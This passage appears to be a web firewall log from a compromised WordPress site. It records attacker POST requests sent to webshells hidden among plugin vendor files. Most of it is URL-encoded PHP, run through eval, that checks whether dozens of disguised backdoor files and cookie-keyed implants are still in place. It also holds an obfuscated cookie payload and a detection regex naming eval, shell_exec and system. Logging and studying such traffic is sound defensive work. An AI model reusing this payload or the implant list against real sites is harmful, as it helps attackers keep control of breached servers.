ds\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:12969\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nms=%3C%3Fphp%20%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%22%3D%3E%22bd%40%40290358238%40%4033%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php%22%3D%3E%22bd%40%40290357365%40%40QlAazG%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccessibleBiddingStrategy\/menu.item.table.php%22%3D%3E%22bd%40%40290357378%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentArmErrorEnum\/edit_links.php%22%3D%3E%22bd%40%40282623627%40%40805%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AccountBudget\/page.php%22%3D%3E%22bd%40%40287676563%40%40529%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/includes\/abstracts\/abstract-wc-settings-api.php%22%3D%3E%22bd%40%40290358210%40%4015%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/google\/protobuf\/src\/Google\/Protobuf\/Internal\/tsql.php%22%3D%3E%22bd%40%40287668730%40%40634%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/metadata\/Google\/Ads\/GoogleAds\/V20\/Resources\/template.inc.php%22%3D%3E%22bd%40%40290180607%40%40616%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/lib\/class-astra-nps-notice.php%22%3D%3E%22bd%40%40284107783%40%404588%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/KeywordPlanCampaignKeywordErrorEnum\/CYEC07_2winners.php%22%3D%3E%22bd%40%40290182186%40%40684%22%2C%0A%22\/wp-admin\/network\/upgrade.php%22%3D%3E%22bd%40%40290357326%40%40GBStEu%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/customizer\/class-astra-extended-base-configuration.php%22%3D%3E%22bd%40%40290357333%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestSmartCampaignBudgetOptionsResponse\/import.class.php%22%3D%3E%22bd%40%40282622320%40%40679%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Exception\/categorie.php%22%3D%3E%22bd%40%40290357395%40%40604%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/plugins\/Watermark\/plugin.php%22%3D%3E%22bd%40%40290180586%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/library\/php-parser\/vendor\/nikic\/php-parser\/lib\/PhpParser\/Node\/Expr\/AssignOp\/filethumbnail.php%22%3D%3E%22bd%40%40290180599%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdSharingErrorEnum\/docsql.php%22%3D%3E%22bd%40%40290182191%40%40882%22%2C%0A%22\/wp-content\/plugins\/elementor\/vendor_prefixed\/twig\/twig\/twig\/src\/Node\/Expression\/Binary\/database.mysqli.php%22%3D%3E%22bd%40%40290182196%40%40598%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/LocalServicesLeadSurveyAnswerEnum\/lang_main.php%22%3D%3E%22bd%40%40290357382%40%401011%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Services\/SuggestGeoTargetConstantsRequest\/auth_ads.php%22%3D%3E%22bd%40%40282626187%40%40825%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/tracking\/class-tracking-server-data.php%22%3D%3E%22bd%40%40290358165%40%4058%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/sebastian\/diff\/src\/Output\/commentform.inc.php%22%3D%3E%22bd%40%40287676570%40%40895%22%2C%0A%22\/wp-admin\/import.php%22%3D%3E%22bd%40%40287668635%40%4031%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php%22%3D%3E%22bd%40%40290358244%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/UserDataErrorEnum\/smilies.inc.php%22%3D%3E%22bd%40%40290358249%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AdGroupBidModifierErrorEnum\/autoblogged.php%22%3D%3E%22bd%40%40290180605%40%401042%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/RecommendationErrorEnum\/album_rate.php%22%3D%3E%22bd%40%40290180604%40%4033%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/type\/header\/html\/class-astra-header-html-component.php%22%3D%3E%22bd%40%40282623506%40%40YWdlmR%22%2C%0A%22\/wp-includes\/registration.php%22%3D%3E%22bd%40%40261747863%40%401105%22%2C%0A%22\/wp-includes\/SimplePie\/src\/XML\/Declaration\/img_manager.php%22%3D%3E%22bd%40%40257152283%40%401010%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/beanstream_usd.php%22%3D%3E%22bd%40%40257241540%40%40919%22%2C%0A%22\/wp-includes\/sodium_compat\/src\/Core\/Curve25519\/userverification.php%22%3D%3E%22bd%40%40262767864%40%401816%22%2C%0A%22\/wp-admin\/includes\/phocagalleryra.php%22%3D%3E%22bd%40%40257118725%40%40963%22%5D%3B%20foreach%20%28%24x%20as%20%24p%20%3D%3E%20%24l%29%20%7B%20%20%20%20%20%24f%20%3D%20%22%7B%24r%7D%7B%24p%7D%22%3B%20%20%20%20%20list%28%24t%2C%20%24id%2C%20%24pt%29%20%3D%20explode%28%27%40%40%27%2C%20%24l%29%3B%20%20%20%20%20if%20%28%21file_exists%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28is_numeric%28%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%24fs%20%3D%20filesize%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24fs%20%21%3D%20%24pt%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23bs%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24c%20%3D%20file_get_contents%28%24f%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21strstr%28%24c%2C%20%24pt%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3C%24t%3E%7B%24id%7D%23%23d%3C\/%24t%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21end%21%27%29%3B%20"]
["2026-04-20 18:14:11","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EmiqkL:eval(rawurldecode(\"%20%20%24r%20%3D%20%27\/www\/wwwroot\/dewenlabels.com%27%3B%20%24x%20%3D%20%5B%22\/wp-config.php%22%3D%3E%22bd%40%40290180459%40%40%24_COOKIE%5B3%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40287668532%40%40%24_COOKIE%5B2%22%2C%0A%22\/wp-blog-header.php%22%3D%3E%22bd%40%40290357193%40%4015%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Util\/PHP\/rate_report01.php%22%3D%3E%22bd%40%40290357390%40%401063%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/FunctionErrorEnum\/reviewcom.php%22%3D%3E%22bd%40%40287676565%40%40978%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php%22%3D%3E%22bd%40%40290358232%40%4033%22%2C%0A%22\/wp-content\/plugins\/file-manager-advanced\/application\/svg-sanitizer\/includes\/phpunit\/phpunit\/src\/Framework\/MockObject\/Stub\/data_extensions.php%22%3D%3E%22bd%40%40282625881%40%40607%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/ProductLinkInvitationStatusEnum\/comments.php%22%3D%3E%22bd%40%40282626272%40%40626%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ProductLinkInvitationErrorEnum\/coursesLinks.php%22%3D%3E%22bd%40%40282626301%40%40710%22%2C%0A%22\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php%22%3D%3E%22bd%40%40290358123%40%40%24_COOKIE%5B-%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/symfony\/polyfill-php81\/Resources\/stubs\/ReturnTypeWillChange.php%22%3D%3E%22bd%40%40290357370%40%4073%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Resources\/AdGroup\/DemandGenAdGroupSettings\/DemandGenChannelControls\/Index.php%22%3D%3E%22bd%40%40290358226%40%4033%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/SearchTermInsightErrorEnum\/contentloader.php%22%3D%3E%22bd%40%40287668726%40%401030%22%2C%0A%22\/wp-content\/plugins\/woocommerce\/assets\/client\/blocks\/cart-link-style.asset.php%22%3D%3E%22bd%40%40290358074%40%40VmQHcs%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/NotEmptyErrorEnum\/portfolio.php%22%3D%3E%22bd%40%40287676567%40%40649%22%2C%0A%22\/wp-content\/plugins\/image-optimization\/vendor\/woocommerce\/action-scheduler\/lib\/cron-expression\/CronExpression_FieldInterface.php%22%3D%3E%22bd%40%40290182179%40%4017%22%2C%0A%22\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php%22%3D%3E%22bd%40%40290357359%40%40%24_COOKIE%5B7%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/MerchantCenterErrorEnum\/mlcontent.php%22%3D%3E%22bd%40%40290182188%40%40905%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/ExperimentErrorEnum\/badword.class.php%22%3D%3E%22bd%40%40282625878%40%40555%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/AssetSetErrorEnum\/brand.php%22%3D%3E%22bd%40%40282622338%40%401043%22%2C%0A%22\/wp-content\/plugins\/wordpress-seo\/admin\/class-yoast-notification-center.php%22%3D%3E%22bd%40%40290358183%40%40cmgIbF%22%2C%0A%22\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Common\/TargetRestrictionOperation\/loadmodule.php%